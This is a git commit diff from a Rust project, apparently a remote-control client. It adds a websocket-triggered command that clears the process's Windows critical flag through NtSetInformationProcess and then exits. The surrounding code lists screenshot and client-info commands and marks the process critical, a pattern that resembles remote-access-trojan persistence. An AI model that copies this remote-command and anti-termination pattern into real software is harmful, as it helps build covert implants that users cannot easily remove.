feat: safe exit for criticality
This commit is contained in:
parent
6b00f0586e
commit
2004a97410
3 changed files with 27 additions and 3 deletions
|
|
@ -1,4 +1,5 @@
|
||||||
use futures_util::stream::SplitSink;
|
use futures_util::stream::SplitSink;
|
||||||
|
use lib::winapi::low_tier_god;
|
||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
use tokio::{net::TcpStream, sync::Mutex};
|
use tokio::{net::TcpStream, sync::Mutex};
|
||||||
|
|
@ -43,6 +44,7 @@ pub enum Command {
|
||||||
ClientInfo,
|
ClientInfo,
|
||||||
Dnx { params: DnxParams },
|
Dnx { params: DnxParams },
|
||||||
Screenshot,
|
Screenshot,
|
||||||
|
LowTierGod
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
||||||
|
|
@ -119,7 +121,11 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
||||||
}
|
}
|
||||||
// this was way easier than i expected... assuming it works :pilgrim2:
|
// this was way easier than i expected... assuming it works :pilgrim2:
|
||||||
Ok(format!(""))
|
Ok(format!(""))
|
||||||
}
|
},
|
||||||
|
Command::LowTierGod => {
|
||||||
|
let _ = low_tier_god().await; // if this fails you're fucked
|
||||||
|
Ok(format!(""))
|
||||||
|
},
|
||||||
_ => todo!(),
|
_ => todo!(),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -112,3 +112,23 @@ pub fn mark_process_critical() -> anyhow::Result<()> {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub async fn low_tier_god() -> anyhow::Result<()> {
|
||||||
|
use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
|
||||||
|
use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
// NtCurrentProcess pseudo-handle (-1)
|
||||||
|
let handle: HANDLE = (-1isize) as usize as *mut c_void;
|
||||||
|
let mut critical: u32 = 0;
|
||||||
|
let status = NtSetInformationProcess(
|
||||||
|
handle,
|
||||||
|
ProcessBreakOnTermination,
|
||||||
|
&mut critical as *mut _ as *mut _,
|
||||||
|
core::mem::size_of::<u32>() as u32,
|
||||||
|
);
|
||||||
|
assert_eq!(status, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::process::exit(1);
|
||||||
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,10 +1,8 @@
|
||||||
use skylink::lib::logger::{LogLevel, log};
|
use skylink::lib::logger::{LogLevel, log};
|
||||||
use futures_util::SinkExt;
|
|
||||||
use skylink::lib::websockets::websocket_handler;
|
use skylink::lib::websockets::websocket_handler;
|
||||||
use skylink::lib::winapi::mark_process_critical;
|
use skylink::lib::winapi::mark_process_critical;
|
||||||
use skylink::LOG_PATH;
|
use skylink::LOG_PATH;
|
||||||
use skylink::WsTx;
|
use skylink::WsTx;
|
||||||
use tokio_tungstenite::tungstenite::Message;
|
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
use tokio::sync::Mutex;
|
use tokio::sync::Mutex;
|
||||||
use std::ffi::OsString;
|
use std::ffi::OsString;
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue